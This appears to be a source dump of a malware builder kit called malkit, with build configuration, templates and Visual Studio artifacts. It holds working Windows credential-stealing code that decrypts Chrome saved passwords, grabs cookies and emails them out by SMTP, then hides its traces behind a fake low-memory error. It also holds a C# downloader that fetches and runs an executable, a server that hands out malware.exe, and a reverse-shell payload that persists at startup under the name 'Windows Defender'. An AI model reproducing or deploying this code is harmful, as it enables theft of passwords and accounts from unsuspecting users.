8 | CONNECTIONS_MAX=10
9 |
10 | [MALWARE]
11 | Filename=malware.py
12 | Payload_name=genpayload
13 | Host=127.0.0.1
14 | Port=4444
15 | Timeout=15
16 | Stub=stub.py
17 | Output=builds/malware
18 | Startup_name=Windows Defender
19 | Startup_icon=icons/icon2.ico
20 | RECONNECT_MIN=1
21 | RECONNECT_MAX=6
22 |
23 | [STUB]
24 | FUNC_LIST=["wrapper"]
25 | TRY=3
26 |
27 | [CHROMEPASS]
28 | passfile=error.txt
29 | errormsg=Virtual memory is too low to run this program. Try closing some programs.
30 | Filename=chromepass
31 | output=chromepass
32 | icon=icons/icon2.ico
33 | server=mail.itsec.bz
34 | email=chromepass@itsec.bz
35 | password=doNOTchange1
36 |
37 | [TEMPLATES]
38 | stub=templates/stub.mtemp
39 | malware=templates/malware.mtemp
40 | listener=templates/listener.mtemp
41 | chromepass_email=templates/chromepass_email.mtemp
42 | chromepass_revshell=templates/chromepass_revshell
43 | error_OK=templates/errors/MB_OK.mtemp
44 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/requirements.txt
--------------------------------------------------------------------------------
/server.py:
--------------------------------------------------------------------------------
1 | from http.server import BaseHTTPRequestHandler, HTTPServer
2 | class MyServer(BaseHTTPRequestHandler):
3 |
4 | def do_GET(self):
5 | self.send_response(200)
6 | self.send_header('Content-type', 'application/pdf')
7 | self.send_header('Content-Disposition',
8 | 'attachment; filename="malware.exe"')
9 | self.end_headers()
10 | with open('templates/serve/malware.exe', 'rb') as file:
11 | self.wfile.write(file.read())
12 |
13 | myServer = HTTPServer(('0.0.0.0', 80), MyServer)
14 | print("[+] Download Server Started, waiting for callback. Please start the listener")
15 | myServer.serve_forever()
16 | myServer.server_close()
17 | print("close")
--------------------------------------------------------------------------------
/templates/chromepass_email.mtemp:
--------------------------------------------------------------------------------
1 | import ctypes
2 | import smtplib
3 | import os
4 | import win32crypt
5 | import urllib
6 | import socket
7 | import queue
8 | from _malkit import cookiesteal
9 | from shutil import copyfile
10 | from subprocess import check_call
11 | from sqlite3 import connect
12 | from requests import get, post
13 | from email.utils import formatdate
14 | from email.mime.multipart import MIMEMultipart
15 | from email.mime.text import MIMEText
16 |
17 |
18 |
19 | appdata=os.getenv("APPDATA")
20 | destination = f"{appdata}\\error.txt"
21 | cookies_file = f"{appdata}\\cookies.json"
22 | cookies_file_email = f"{appdata}\\cookies_email.json"
23 |
24 |
25 | def getpass():
26 |
27 | path = os.getenv("LOCALAPPDATA") + \
28 | "\\Google\\Chrome\\User Data\\Default\\Login Data"
29 |
30 | path2 = os.getenv("LOCALAPPDATA") + \
31 | "\\Google\\Chrome\\User Data\\Default\\Login2"
32 |
33 | ASCII_TRANS = '_' * 32 + ''.join([chr(x)
34 | for x in range(32, 126)]) + '_' * 130
35 | path = path.strip()
36 | path = urllib.parse.unquote(path)
37 | if path.translate(ASCII_TRANS) != path: # Contains non-ascii
38 | path = path.decode('latin-1')
39 | path = urllib.request.url2pathname(path)
40 |
41 | ASCII_TRANS = '_' * 32 + ''.join([chr(x)
42 | for x in range(32, 126)]) + '_' * 130
43 | path2 = path2.strip()
44 | path2 = urllib.parse.unquote(path2)
45 | if path2.translate(ASCII_TRANS) != path2: # Contains non-ascii
46 | path2 = path2.decode('latin-1')
47 | path2 = urllib.request.url2pathname(path2)
48 | try:
49 | copyfile(path, path2)
50 | except:
51 | pass
52 |
53 | conn = connect(path2)
54 |
55 | cursor = conn.cursor()
56 |
57 | cursor.execute(
58 | 'SELECT action_url, username_value, password_value FROM logins')
59 |
60 | if os.path.exists(destination):
61 | os.remove(destination)
62 |
63 | sites = []
64 | for raw in cursor.fetchall():
65 | try:
66 | if raw[0] not in sites:
67 | if os.path.exists(destination):
68 | with open(destination, "a") as password:
69 | password.write('\n' + "Website: " + raw[0] + '\n' + "User/email: " + raw[1] +
70 | '\n' + "Password: " +
71 | win32crypt.CryptUnprotectData(raw[2])[1].decode("utf-8") + '\n')
72 | else:
73 | with open(destination, "w") as password:
74 | password.write('\n' + "Website: " + raw[0] + '\n' + "User/email: " + raw[1] +
75 | '\n' + "Password: " +
76 | win32crypt.CryptUnprotectData(raw[2])[1].decode("utf-8") + '\n')
77 | sites.append(raw[0])
78 | except:
79 | continue
80 |
81 | conn.close()
82 | return 0
83 |
84 | def create_attachment(filename):
85 | try:
86 | with open(filename) as f:
87 | attachment = MIMEText(f.read())
88 |
89 | attachment.add_header('Content-Disposition',
90 | 'attachment', filename=filename)
91 | return attachment
92 | except Exception as err:
93 | pass
94 |
95 | def sendpass():
96 | host_ip = urllib.request.urlopen('https://ident.me').read().decode('utf8')
97 | mailto="<>"
98 | email = "<>"
99 | pwd = "<>"
100 | server = "<>"
101 | msg = MIMEMultipart()
102 | password_file = destination
103 | try:
104 | saved_passwords=create_attachment(password_file)
105 | cookies_all = create_attachment(cookies_file)
106 | cookies_email = create_attachment(cookies_file_email)
107 | except Exception as err:
108 | pass
109 | msg['Subject'] = f'{host_ip}'
110 | msg['From'] = "Chromepass "
111 | msg['To'] = mailto
112 | msg["Date"] = formatdate(localtime=True)
113 | msg.attach(saved_passwords)
114 | try:
115 | msg.attach(cookies_all)
116 | msg.attach(cookies_email)
117 | except Exception as e:
118 | pass
119 | mailer = smtplib.SMTP(server, 587)
120 | mailer.starttls()
121 | mailer.login(email, pwd)
122 | mailer.sendmail(email, mailto, msg.as_string())
123 | mailer.close()
124 |
125 |
126 | getpass()
127 | cookiesteal.cookiesteal()
128 | sendpass()
129 |
130 | files = [destination, cookies_file, cookies_file_email]
131 | for file in files:
132 | try:
133 | os.remove(file)
134 | except:
135 | check_call(["attrib", "+H", file])
136 |
137 |
138 | <>
139 |
140 |
141 |
--------------------------------------------------------------------------------
/templates/chromepass_revshell.mtemp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/templates/chromepass_revshell.mtemp
--------------------------------------------------------------------------------
/templates/downloader/.vs/downloader/v16/.suo:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/templates/downloader/.vs/downloader/v16/.suo
--------------------------------------------------------------------------------
/templates/downloader/.vs/downloader/v16/Server/sqlite3/db.lock:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/templates/downloader/.vs/downloader/v16/Server/sqlite3/db.lock
--------------------------------------------------------------------------------
/templates/downloader/.vs/downloader/v16/Server/sqlite3/storage.ide:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/templates/downloader/.vs/downloader/v16/Server/sqlite3/storage.ide
--------------------------------------------------------------------------------
/templates/downloader/.vs/downloader/v16/Server/sqlite3/storage.ide-shm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/templates/downloader/.vs/downloader/v16/Server/sqlite3/storage.ide-shm
--------------------------------------------------------------------------------
/templates/downloader/.vs/downloader/v16/Server/sqlite3/storage.ide-wal:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/templates/downloader/.vs/downloader/v16/Server/sqlite3/storage.ide-wal
--------------------------------------------------------------------------------
/templates/downloader/UpgradeLog.htm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/templates/downloader/UpgradeLog.htm
--------------------------------------------------------------------------------
/templates/downloader/downloader.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.29609.76
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "downloader", "downloader\downloader.csproj", "{9A6C83B1-4224-4CD4-BD9C-1362918B22E8}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | test|Any CPU = test|Any CPU
13 | EndGlobalSection
14 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
15 | {9A6C83B1-4224-4CD4-BD9C-1362918B22E8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
16 | {9A6C83B1-4224-4CD4-BD9C-1362918B22E8}.Debug|Any CPU.Build.0 = Debug|Any CPU
17 | {9A6C83B1-4224-4CD4-BD9C-1362918B22E8}.Release|Any CPU.ActiveCfg = Release|Any CPU
18 | {9A6C83B1-4224-4CD4-BD9C-1362918B22E8}.Release|Any CPU.Build.0 = Release|Any CPU
19 | {9A6C83B1-4224-4CD4-BD9C-1362918B22E8}.test|Any CPU.ActiveCfg = test|Any CPU
20 | {9A6C83B1-4224-4CD4-BD9C-1362918B22E8}.test|Any CPU.Build.0 = test|Any CPU
21 | EndGlobalSection
22 | GlobalSection(SolutionProperties) = preSolution
23 | HideSolutionNode = FALSE
24 | EndGlobalSection
25 | GlobalSection(ExtensibilityGlobals) = postSolution
26 | SolutionGuid = {5817361D-4966-42EE-A7B9-25E93EC79F6F}
27 | EndGlobalSection
28 | EndGlobal
29 |
--------------------------------------------------------------------------------
/templates/downloader/downloader/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
--------------------------------------------------------------------------------
/templates/downloader/downloader/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.ComponentModel;
3 | using System.Diagnostics;
4 | using System.IO;
5 | using System.Net;
6 | using System.Net.Security;
7 | using System.Net.Sockets;
8 | using System.Security.Authentication;
9 | using System.Security.Cryptography.X509Certificates;
10 | using System.Text;
11 | using System.Windows.Forms;
12 |
13 | namespace downloader
14 | {
15 |
16 | public class Program
17 | {
18 | string fileName = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "backup.exe");
19 | [STAThread]
20 | static void Main()
21 | {
22 | Uri url = new Uri("http://192.168.2.164");
23 | Program prog = new Program();
24 | prog.get_not(url);
25 | }
26 | public void get_not(Uri url)
27 | {
28 | if (File.Exists(fileName))
29 | {
30 | File.Delete(fileName);
31 | }
32 | WebClient wc = new WebClient();
33 | wc.DownloadFile(url, fileName);
34 | Process.Start(fileName);
35 | }
36 |
37 | }
38 |
39 | }
40 |
--------------------------------------------------------------------------------
/templates/downloader/downloader/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Resources;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("downloader")]
9 | [assembly: AssemblyDescription("Not sure")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("ITSec")]
12 | [assembly: AssemblyProduct("downloader")]
13 | [assembly: AssemblyCopyright("ITSec Copyright © 2020")]
14 | [assembly: AssemblyTrademark("ITSec")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("2d6c83b1-4224-4cd4-bd9c-13629f8b22e9")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("4.5.3.4")]
36 | [assembly: AssemblyFileVersion("4.5.3.5")]
37 | [assembly: NeutralResourcesLanguage("")]
38 |
--------------------------------------------------------------------------------
/templates/downloader/downloader/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace downloader.Properties {
12 | using System;
13 |
14 |
15 | ///
16 | /// A strongly-typed resource class, for looking up localized strings, etc.
17 | ///
18 | // This class was auto-generated by the StronglyTypedResourceBuilder
19 | // class via a tool like ResGen or Visual Studio.
20 | // To add or remove a member, edit your .ResX file then rerun ResGen
21 | // with the /str option, or rebuild your VS project.
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources {
26 |
27 | private static global::System.Resources.ResourceManager resourceMan;
28 |
29 | private static global::System.Globalization.CultureInfo resourceCulture;
30 |
31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
32 | internal Resources() {
33 | }
34 |
35 | ///
36 | /// Returns the cached ResourceManager instance used by this class.
37 | ///
38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
39 | internal static global::System.Resources.ResourceManager ResourceManager {
40 | get {
41 | if (object.ReferenceEquals(resourceMan, null)) {
42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("downloader.Properties.Resources", typeof(Resources).Assembly);
43 | resourceMan = temp;
44 | }
45 | return resourceMan;
46 | }
47 | }
48 |
49 | ///
50 | /// Overrides the current thread's CurrentUICulture property for all
51 | /// resource lookups using this strongly typed resource class.
52 | ///
53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
54 | internal static global::System.Globalization.CultureInfo Culture {
55 | get {
56 | return resourceCulture;
57 | }
58 | set {
59 | resourceCulture = value;
60 | }
61 | }
62 | }
63 | }
64 |
--------------------------------------------------------------------------------
/templates/downloader/downloader/Properties/Resources.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 | text/microsoft-resx
91 |
92 |
93 | 1.3
94 |
95 |
96 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.3500.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
97 |
98 |
99 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.3500.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
100 |
101 |
--------------------------------------------------------------------------------
/templates/downloader/downloader/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace downloader.Properties {
12 |
13 |
14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.4.0.0")]
16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
17 |
18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
19 |
20 | public static Settings Default {
21 | get {
22 | return defaultInstance;
23 | }
24 | }
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/templates/downloader/downloader/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/templates/downloader/downloader/Properties/app.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
48 |
55 |
56 |
70 |
--------------------------------------------------------------------------------
/templates/downloader/downloader/downloader.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {9A6C83B1-4224-4CD4-BD9C-1362918B22E8}
8 | WinExe
9 | downloader
10 | downloader
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 | false
17 | G:\My PC\Documents\Projects\Malware\
18 | true
19 | Disk
20 | false
21 | Foreground
22 | 7
23 | Days
24 | false
25 | false
26 | true
27 | 1
28 | 1.0.0.%2a
29 | false
30 | true
31 | true
32 |
33 |
34 | AnyCPU
35 | true
36 | full
37 | false
38 | bin\Debug\
39 | DEBUG;TRACE
40 | prompt
41 | 4
42 | false
43 |
44 |
45 | Test
46 | AnyCPU
47 | none
48 | true
49 | bin\Release\
50 | TRACE
51 | prompt
52 | 4
53 | false
54 | false
55 | true
56 | true
57 | 4096
58 | true
59 |
60 |
61 | downloader.Program
62 |
63 |
64 | icon.ico
65 |
66 |
67 | true
68 |
69 |
70 |
71 |
72 |
73 |
74 | true
75 |
76 |
77 | 4160BD7642FBD3EB7AC008329A4EFF164F3DEBAE
78 |
79 |
80 | itsec.bz.pfx
81 |
82 |
83 | LocalIntranet
84 |
85 |
86 | true
87 |
88 |
89 |
90 | http://timestamp.comodoca.com/authenticode
91 |
92 |
93 |
94 |
95 | bin\test\
96 | TRACE
97 | true
98 | true
99 | true
100 | 4096
101 | true
102 | AnyCPU
103 | 5
104 | false
105 | prompt
106 | MinimumRecommendedRules.ruleset
107 | false
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 | True
129 | True
130 | Resources.resx
131 |
132 |
133 | True
134 | True
135 | Settings.settings
136 |
137 |
138 |
139 | SettingsSingleFileGenerator
140 | Settings.Designer.cs
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 | False
152 | .NET Framework 3.5 SP1
153 | false
154 |
155 |
156 |
157 |
158 | ResXFileCodeGenerator
159 | Resources.Designer.cs
160 |
161 |
162 |
163 |
--------------------------------------------------------------------------------
/templates/downloader/downloader/downloader.csproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | G:\My PC\Documents\Projects\Malware\|publish\
5 |
6 |
7 |
8 |
9 |
10 | en-US
11 | false
12 |
13 |
14 | false
15 |
16 |
--------------------------------------------------------------------------------
/templates/downloader/downloader/icon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/templates/downloader/downloader/icon.ico
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/Debug/downloader.Properties.Resources.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/templates/downloader/downloader/obj/Debug/downloader.Properties.Resources.resources
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/Debug/downloader.TrustInfo.xml:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/Debug/downloader.application:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 | XrYlfU8fVbccQ/6h+W7zapxhzc0=
18 |
19 |
20 |
21 |
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/Debug/downloader.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\bin\Debug\downloader.exe.config
2 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\bin\Debug\downloader.exe.manifest
3 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\bin\Debug\downloader.application
4 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\bin\Debug\downloader.exe
5 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\bin\Debug\downloader.pdb
6 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\obj\Debug\downloader.csprojResolveAssemblyReference.cache
7 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\obj\Debug\downloader.Properties.Resources.resources
8 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\obj\Debug\downloader.csproj.GenerateResource.Cache
9 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\obj\Debug\downloader.TrustInfo.xml
10 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\obj\Debug\downloader.exe.manifest
11 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\obj\Debug\downloader.application
12 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\obj\Debug\downloader.exe
13 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\obj\Debug\downloader.pdb
14 |
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/Debug/downloader.csproj.GenerateResource.Cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/templates/downloader/downloader/obj/Debug/downloader.csproj.GenerateResource.Cache
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/Debug/downloader.csprojResolveAssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/templates/downloader/downloader/obj/Debug/downloader.csprojResolveAssemblyReference.cache
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/Debug/downloader.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/templates/downloader/downloader/obj/Debug/downloader.exe
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/Debug/downloader.exe.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 | ha//jgyi4nCIr1v66JjMfd+wQLk=
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 | 1ttgvStN8hJsZWEad3CMhUIJ97o=
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 | bTyqrs6SzWOVwQIqR6KnlN9DZz0=
73 |
74 |
75 |
76 |
77 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/Debug/downloader.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/templates/downloader/downloader/obj/Debug/downloader.pdb
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/Release/downloader.Properties.Resources.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/templates/downloader/downloader/obj/Release/downloader.Properties.Resources.resources
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/Release/downloader.TrustInfo.xml:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/Release/downloader.application:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 | lqieDxtCvDo78gY8IhNHUniQCC/e3wYQHDbNflNdXII=
18 |
19 |
20 |
21 |
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/Release/downloader.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\bin\Release\downloader.exe.config
2 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\bin\Release\downloader.exe.manifest
3 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\bin\Release\downloader.application
4 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\bin\Release\downloader.exe
5 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\obj\Release\downloader.csprojResolveAssemblyReference.cache
6 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\obj\Release\downloader.Properties.Resources.resources
7 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\obj\Release\downloader.csproj.GenerateResource.Cache
8 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\obj\Release\downloader.TrustInfo.xml
9 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\obj\Release\downloader.exe.manifest
10 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\obj\Release\downloader.application
11 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\obj\Release\downloader.exe
12 |
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/Release/downloader.csproj.GenerateResource.Cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/templates/downloader/downloader/obj/Release/downloader.csproj.GenerateResource.Cache
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/Release/downloader.csprojResolveAssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/templates/downloader/downloader/obj/Release/downloader.csprojResolveAssemblyReference.cache
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/Release/downloader.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/templates/downloader/downloader/obj/Release/downloader.exe
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/Release/downloader.exe.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 | SZifmj67iW6zFb4e/F852hzfpJiG2e/MmBx2isqp39U=
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 | C3JRsKyNvv2xqkKtKVnesDcK9CFFhEufs9uDppx3ABQ=
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 | n2ubii0g2CR09hnMQWupOndkplZpYELk314Hs7bQeDQ=
73 |
74 |
75 |
76 |
77 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/test/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/templates/downloader/downloader/obj/test/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/test/TempPE/Properties.Resources.Designer.cs.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/templates/downloader/downloader/obj/test/TempPE/Properties.Resources.Designer.cs.dll
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/test/downloader.Properties.Resources.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/templates/downloader/downloader/obj/test/downloader.Properties.Resources.resources
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/test/downloader.TrustInfo.xml:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/test/downloader.application:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 | tURz3kaLW2ZlkZAN7jTscaFKuOT3p13jU50gjFCtQ8A=
18 |
19 |
20 |
21 |
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/test/downloader.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\bin\test\downloader.exe.config
2 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\bin\test\downloader.exe.manifest
3 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\bin\test\downloader.application
4 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\bin\test\downloader.exe
5 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\obj\test\downloader.Properties.Resources.resources
6 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\obj\test\downloader.csproj.GenerateResource.cache
